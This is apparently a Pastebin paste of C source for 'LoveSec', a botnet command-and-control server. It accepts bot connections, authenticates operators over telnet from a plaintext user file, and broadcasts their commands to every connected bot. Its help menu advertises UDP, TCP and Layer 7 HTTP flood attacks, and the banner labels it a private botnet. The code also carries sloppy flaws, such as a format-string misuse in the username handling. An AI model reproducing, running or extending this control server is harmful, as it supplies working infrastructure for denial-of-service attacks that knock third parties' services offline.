Advertisement
ZucoCheezy

LoveSec-Server

Dec 1st, 2018
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 22.23 KB | None | 0 0
  1. /*
  2. Edited by: Love Hecate
  3.  
  4.   * COOL FUN FEATURES *
  5. ~ Logs Ips
  6. ~ Has A TimeStamp
  7. ~ etc
  8.  
  9. P.S. > the login file name is love.txt
  10. */
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <netdb.h>
  17. #include <unistd.h>
  18. #include <time.h>
  19. #include <fcntl.h>
  20. #include <sys/epoll.h>
  21. #include <errno.h>
  22. #include <pthread.h>
  23. #include <signal.h>
  24.  
  25. #define MAXFDS 1000000
  26. #define RED     "\x1b[0;31m"
  27. #define GREEN   "\x1b[0;32m"
  28. #define C_RESET   "\x1b[0m"
  29.  
  30. struct account {
  31.     char id[20];
  32.     char password[20];
  33. };
  34. static struct account accounts[25];
  35.  
  36. struct clientdata_t {
  37.         uint32_t ip;
  38.         char build[7];
  39.         char connected;
  40. } clients[MAXFDS];
  41.  
  42. struct telnetdata_t {
  43.         uint32_t ip;
  44.         int connected;
  45. } managements[MAXFDS];
  46.  
  47. ////////////////////////////////////
  48.  
  49. static volatile FILE *fileFD;
  50. static volatile int epollFD = 0;
  51. static volatile int listenFD = 0;
  52. static volatile int managesConnected = 0;
  53. static volatile int DUPESDELETED = 0;
  54.  
  55. ////////////////////////////////////
  56.  
  57.  
  58. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  59. {
  60.         int total = 0, got = 1;
  61.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  62.         return got;
  63. }
  64. void trim(char *str)
  65. {
  66.     int i;
  67.     int begin = 0;
  68.     int end = strlen(str) - 1;
  69.     while (isspace(str[begin])) begin++;
  70.     while ((end >= begin) && isspace(str[end])) end--;
  71.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  72.     str[i - begin] = '\0';
  73. }
  74.  
  75.  
  76. static int make_socket_non_blocking (int sfd)
  77. {
  78.         int flags, s;
  79.         flags = fcntl (sfd, F_GETFL, 0);
  80.         if (flags == -1)
  81.         {
  82.                 perror ("fcntl");
  83.                 return -1;
  84.         }
  85.         flags |= O_NONBLOCK;
  86.         s = fcntl (sfd, F_SETFL, flags);
  87.         if (s == -1)
  88.         {
  89.                 perror ("fcntl");
  90.                 return -1;
  91.         }
  92.         return 0;
  93. }
  94.  
  95.  
  96. static int create_and_bind (char *port)
  97. {
  98.         struct addrinfo hints;
  99.         struct addrinfo *result, *rp;
  100.         int s, sfd;
  101.         memset (&hints, 0, sizeof (struct addrinfo));
  102.         hints.ai_family = AF_UNSPEC;
  103.         hints.ai_socktype = SOCK_STREAM;
  104.         hints.ai_flags = AI_PASSIVE;
  105.         s = getaddrinfo (NULL, port, &hints, &result);
  106.         if (s != 0)
  107.         {
  108.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  109.                 return -1;
  110.         }
  111.         for (rp = result; rp != NULL; rp = rp->ai_next)
  112.         {
  113.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  114.                 if (sfd == -1) continue;
  115.                 int yes = 1;
  116.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  117.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  118.                 if (s == 0)
  119.                 {
  120.                         break;
  121.                 }
  122.                 close (sfd);
  123.         }
  124.         if (rp == NULL)
  125.         {
  126.                 fprintf (stderr, "Could not bind\n");
  127.                 return -1;
  128.         }
  129.         freeaddrinfo (result);
  130.         return sfd;
  131. }
  132. void broadcast(char *msg, int us, char *sender)
  133. {
  134.         int sendMGM = 1;
  135.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  136.         char *wot = malloc(strlen(msg) + 10);
  137.         memset(wot, 0, strlen(msg) + 10);
  138.         strcpy(wot, msg);
  139.         trim(wot);
  140.         time_t rawtime;
  141.         struct tm * timeinfo;
  142.         time(&rawtime);
  143.         timeinfo = localtime(&rawtime);
  144.         char *timestamp = asctime(timeinfo);
  145.         trim(timestamp);
  146.         int i;
  147.         for(i = 0; i < MAXFDS; i++)
  148.         {
  149.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  150.                 if(sendMGM && managements[i].connected)
  151.                 {                    
  152.                         send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  153.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  154.                         send(i, " ", 1, MSG_NOSIGNAL);
  155.                         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  156.                         send(i, ": ", 2, MSG_NOSIGNAL);
  157.                 }
  158.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  159.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0m~\x1b[0;31m$ \x1b[0m", 13, MSG_NOSIGNAL);
  160.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  161.         }
  162.         free(wot);
  163. }
  164.  
  165. void *epollEventLoop(void *useless)
  166. {
  167.         struct epoll_event event;
  168.         struct epoll_event *events;
  169.         int s;
  170.         events = calloc (MAXFDS, sizeof event);
  171.         while (1)
  172.         {
  173.                 int n, i;
  174.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  175.                 for (i = 0; i < n; i++)
  176.                 {
  177.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  178.                         {
  179.                                 clients[events[i].data.fd].connected = 0;
  180.                                 close(events[i].data.fd);
  181.                                 continue;
  182.                         }
  183.                         else if (listenFD == events[i].data.fd)
  184.                         {
  185.                                 while (1)
  186.                                 {
  187.                                         struct sockaddr in_addr;
  188.                                         socklen_t in_len;
  189.                                         int infd, ipIndex;
  190.  
  191.                                         in_len = sizeof in_addr;
  192.                                         infd = accept (listenFD, &in_addr, &in_len);
  193.                                         if (infd == -1)
  194.                                         {
  195.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  196.                                                 else
  197.                                                 {
  198.                                                         perror ("accept");
  199.                                                         break;
  200.                                                 }
  201.                                         }
  202.  
  203.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  204.  
  205.                                         int dup = 0;
  206.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  207.                                         {
  208.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  209.  
  210.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  211.                                                 {
  212.                                                         dup = 1;
  213.                                                         break;
  214.                                                 }
  215.                                         }
  216.  
  217.                                         if(dup)
  218.                                         {
  219.                                                 DUPESDELETED++;
  220.                                                 continue;
  221.                                         }
  222.  
  223.                                         s = make_socket_non_blocking (infd);
  224.                                         if (s == -1) { close(infd); break; }
  225.  
  226.                                         event.data.fd = infd;
  227.                                         event.events = EPOLLIN | EPOLLET;
  228.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  229.                                         if (s == -1)
  230.                                         {
  231.                                                 perror ("epoll_ctl");
  232.                                                 close(infd);
  233.                                                 break;
  234.                                         }
  235.  
  236.                                         clients[infd].connected = 1;
  237.                                         send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  238.                                        
  239.                                 }
  240.                                 continue;
  241.                         }
  242.                         else
  243.                         {
  244.                                 int thefd = events[i].data.fd;
  245.                                 struct clientdata_t *client = &(clients[thefd]);
  246.                                 int done = 0;
  247.                                 client->connected = 1;
  248.                                 while (1)
  249.                                 {
  250.                                         ssize_t count;
  251.                                         char buf[2048];
  252.                                         memset(buf, 0, sizeof buf);
  253.  
  254.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  255.                                         {
  256.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  257.                                                 trim(buf);
  258.                                                 if(strcmp(buf, "PING") == 0) {
  259.                                                 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  260.                                                 continue; }
  261.                                                 if(strcmp(buf, "PONG") == 0) {
  262.                                                 continue; }
  263.                                                 printf("buf: \"%s\"\n", buf); }
  264.  
  265.                                         if (count == -1)
  266.                                         {
  267.                                                 if (errno != EAGAIN)
  268.                                                 {
  269.                                                         done = 1;
  270.                                                 }
  271.                                                 break;
  272.                                         }
  273.                                         else if (count == 0)
  274.                                         {
  275.                                                 done = 1;
  276.                                                 break;
  277.                                         }
  278.                                 }
  279.  
  280.                                 if (done)
  281.                                 {
  282.                                         client->connected = 0;
  283.                                         close(thefd);
  284.                                 }
  285.                         }
  286.                 }
  287.         }
  288. }
  289.  
  290. unsigned int clientsConnected()
  291. {
  292.         int i = 0, total = 0;
  293.         for(i = 0; i < MAXFDS; i++)
  294.         {
  295.                 if(!clients[i].connected) continue;
  296.                 total++;
  297.         }
  298.  
  299.         return total;
  300. }
  301.  
  302. void *titleWriter(void *sock)
  303. {
  304.         int thefd = (int)sock;
  305.         char string[2048];
  306.         while(1)
  307.         {
  308.                 memset(string, 0, 2048);
  309.                 sprintf(string, "%c]0; LoveSec ~ Bots: %d ~ Admins: %d %c", '\033', clientsConnected(), managesConnected, '\007');
  310.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  311.  
  312.                 sleep(2);
  313.         }
  314. }
  315.  
  316. int Search_in_File(char *str)
  317. {
  318.     FILE *fp;
  319.     int line_num = 0;
  320.     int find_result = 0, find_line=0;
  321.     char temp[512];
  322.  
  323.     if((fp = fopen("love.txt", "r")) == NULL){
  324.         return(-1);
  325.     }
  326.     while(fgets(temp, 512, fp) != NULL){
  327.         if((strstr(temp, str)) != NULL){
  328.             find_result++;
  329.             find_line = line_num;
  330.         }
  331.         line_num++;
  332.     }
  333.     if(fp)
  334.         fclose(fp);
  335.  
  336.     if(find_result == 0)return 0;
  337.  
  338.     return find_line;
  339. }
  340.  void client_addr(struct sockaddr_in addr){
  341.         printf("IP:%d.%d.%d.%d\n",
  342.         addr.sin_addr.s_addr & 0xFF,
  343.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  344.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  345.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  346.         FILE *logFile;
  347.         logFile = fopen("server.log", "a");
  348.         fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  349.         addr.sin_addr.s_addr & 0xFF,
  350.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  351.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  352.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  353.         fclose(logFile);
  354. }
  355.  
  356. void *telnetWorker(void *sock) {
  357.         int thefd = (int)sock;
  358.         managesConnected++;
  359.         int find_line;
  360.         pthread_t title;
  361.         char counter[2048];
  362.         memset(counter, 0, 2048);
  363.         char buf[2048];
  364.         char* nickstring;
  365.         char usernamez[80];
  366.         char* password;
  367.         char* admin;
  368.         memset(buf, 0, sizeof buf);
  369.         char botnet[2048];
  370.         memset(botnet, 0, 2048);
  371.  
  372.         FILE *fp;
  373.         int i=0;
  374.         int c;
  375.         fp=fopen("love.txt", "r"); // format: user pass
  376.         while(!feof(fp))
  377.         {
  378.                 c=fgetc(fp);
  379.                 ++i;
  380.         }
  381.         int j=0;
  382.         rewind(fp);
  383.         while(j!=i-1)
  384.         {
  385.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  386.             ++j;
  387.         }
  388.         sprintf(botnet, "\x1b[1;37mpодившиеся боги объединены\r\n");
  389.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;  
  390.         sprintf(botnet, "\033[34;1mпользователь\033[33;3m: \e[0;30m");
  391.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  392.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  393.         trim(buf);
  394.         sprintf(usernamez, buf);
  395.         nickstring = ("%s", buf);
  396.         find_line = Search_in_File(nickstring);
  397.  
  398.         if(strcmp(nickstring, accounts[find_line].id) == 0){                  
  399.         sprintf(botnet, "\033[34;1mпароль\033[33;3m: \e[0;30m");
  400.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  401.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  402.         trim(buf);
  403.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  404.         memset(buf, 0, 2048);
  405.         goto fak;
  406.         }
  407.         failed:
  408.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  409.         goto end;
  410.         fak:
  411.        
  412.         pthread_create(&title, NULL, &titleWriter, sock);
  413.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  414.         if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  415.         char ascii_banner_line20 [5000];
  416.         char ascii_banner_line21 [5000];
  417.         char ascii_banner_line22 [5000];
  418.         char line23[80];
  419.         sprintf(ascii_banner_line20, "\x1b[0;31m         ╦  ╔═╗╦  ╦╔═╗╔═╗╔═╗╔═╗\r\n");
  420.         sprintf(ascii_banner_line21, "\x1b[0;31m         ║  ║ ║╚╗╔╝║╣ ╚═╗║╣ ║  \r\n");
  421.         sprintf(ascii_banner_line22, "\x1b[0m         ╩═╝╚═╝ ╚╝ ╚═╝╚═╝╚═╝╚═╝\r\n");
  422.         sprintf(line23, "     "C_RESET"***"RED" Welcome To The LoveSec"C_RESET" ***\r\n\r\n"C_RESET"~"RED"$ "C_RESET"");
  423.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  424.         if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  425.         if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  426.         if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  427.         if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
  428.         pthread_create(&title, NULL, &titleWriter, sock);
  429.         managements[thefd].connected = 1;
  430.         while(fdgets(buf, sizeof buf, thefd) > 0)
  431.         {
  432.         if(strstr(buf, "!* BOTS"))
  433.         {  
  434.           sprintf(botnet, "Hearts Connected: "RED"[%d]"C_RESET"\r\nLovers connected: "RED"[%d]"C_RESET"\r\nDupes Deleted:"RED" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  435.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  436.         }
  437.          
  438.         if (strstr(buf, "!* HELP"))
  439.         {
  440.           sprintf(botnet, "\x1b[0;31m!* STD IP PORT TIME SIZE || STD/UDP\r\n!* TCP IP PORT TIME SIZE 32 FLAGS SIZE INTERVALS || TCP\r\n!* L7 URL GET/HEAD/POST PORT PATH TIME POWER || LAYER 7\r\n!* KT  | KILLS ATTACKS\r\n");
  441.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  442.         }
  443.         if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  444.         {
  445.            int hax;
  446.            //if(send(thefd, "Countdown Before Attack Will be Sent\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  447.            for (hax = 0; hax > 0; --hax) {
  448.            sleep(1);
  449.            sprintf(botnet, "Time: %d\r\n", hax);
  450.            if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  451.            }
  452.            if(send(thefd, "Slammed!\r\n", 12, MSG_NOSIGNAL) == -1) goto end;
  453.         }
  454.         if (strstr(buf, "!* CLEAR"))
  455.         {
  456.           if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  457.         sprintf(ascii_banner_line20, "\x1b[0;31m         ╦  ╔═╗╦  ╦╔═╗╔═╗╔═╗╔═╗\r\n");
  458.         sprintf(ascii_banner_line21, "\x1b[0;31m         ║  ║ ║╚╗╔╝║╣ ╚═╗║╣ ║  \r\n");
  459.         sprintf(ascii_banner_line22, "\x1b[0m         ╩═╝╚═╝ ╚╝ ╚═╝╚═╝╚═╝╚═╝\r\n");
  460.         sprintf(line23, "     "C_RESET"***"RED" Welcome To The LoveSec"C_RESET" ***\r\n ");
  461.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  462.         if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  463.         if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  464.         if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  465.         if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
  466.          }
  467.          if (strstr(buf, "!* EXIT"))
  468.          {
  469.             goto end;
  470.          }
  471.                 trim(buf);
  472.                 sprintf(botnet, "\x1b[0m~\x1b[0;31m$ \x1b[0m");
  473.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  474.                 if(strlen(buf) == 0) continue;
  475.                 printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  476.                 FILE *logFile;
  477.                 logFile = fopen("server.log", "a");
  478.                 fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  479.                 fclose(logFile);
  480.                 broadcast(buf, thefd, usernamez);
  481.                 memset(buf, 0, 2048);
  482.         }
  483.  
  484.         end:    // cleanup dead socket
  485.                 managements[thefd].connected = 0;
  486.                 close(thefd);
  487.                 managesConnected--;
  488. }
  489.  
  490. void *telnetListener(int port)
  491. {    
  492.         int sockfd, newsockfd;
  493.         socklen_t clilen;
  494.         struct sockaddr_in serv_addr, cli_addr;
  495.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  496.         if (sockfd < 0) perror("ERROR opening socket");
  497.         bzero((char *) &serv_addr, sizeof(serv_addr));
  498.         serv_addr.sin_family = AF_INET;
  499.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  500.         serv_addr.sin_port = htons(port);
  501.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  502.         listen(sockfd,5);
  503.         clilen = sizeof(cli_addr);
  504.         while(1)
  505.  
  506.         {       printf("Security Breach From: ");
  507.                 client_addr(cli_addr);
  508.                 FILE *logFile;
  509.                 logFile = fopen("IP.log", "a");
  510.                 fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  511.                 fclose(logFile);
  512.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  513.                 if (newsockfd < 0) perror("ERROR on accept");
  514.                 pthread_t thread;
  515.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  516.         }
  517. }
  518.  
  519. int main (int argc, char *argv[], void *sock)
  520. {
  521.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  522.  
  523.         int s, threads, port;
  524.         struct epoll_event event;
  525.         if (argc != 4)
  526.         {
  527.                 fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  528.                 exit (EXIT_FAILURE);
  529.         }
  530.         port = atoi(argv[3]);
  531.         threads = atoi(argv[2]);
  532.         if (threads > 850)
  533.         {
  534.             printf("Are You Dumb? Lower the Threads\n");
  535.             return 0;
  536.         }
  537.         else if (threads < 850)
  538.         {
  539.             printf("Good Choice in Threading\n");
  540.         }
  541.         printf(RED "\x1b[0;31mTHIS SHIT PRIVATE,\x1b[1;37m DO NOT FUCKING LEAK, \x1b[1;37mLoveSec \x1b[1;37mBOTNET \x1b[1;36mSCREENED\x1b[0m\n");
  542.         listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  543.         if (listenFD == -1) abort();
  544.  
  545.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  546.         if (s == -1) abort();
  547.  
  548.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  549.         if (s == -1)
  550.         {
  551.                 perror ("listen");
  552.                 abort ();
  553.         }
  554.  
  555.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  556.         if (epollFD == -1)
  557.         {
  558.                 perror ("epoll_create");
  559.                 abort ();
  560.         }
  561.  
  562.         event.data.fd = listenFD;
  563.         event.events = EPOLLIN | EPOLLET;
  564.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  565.         if (s == -1)
  566.         {
  567.                 perror ("epoll_ctl");
  568.                 abort ();
  569.         }
  570.  
  571.         pthread_t thread[threads + 2];
  572.         while(threads--)
  573.         {
  574.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  575.         }
  576.  
  577.         pthread_create(&thread[0], NULL, &telnetListener, port);
  578.  
  579.         while(1)
  580.         {
  581.                 broadcast("PING", -1, "STRING");
  582.                 sleep(60);
  583.         }
  584.  
  585.         close (listenFD);
  586.  
  587.         return EXIT_SUCCESS;
  588. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement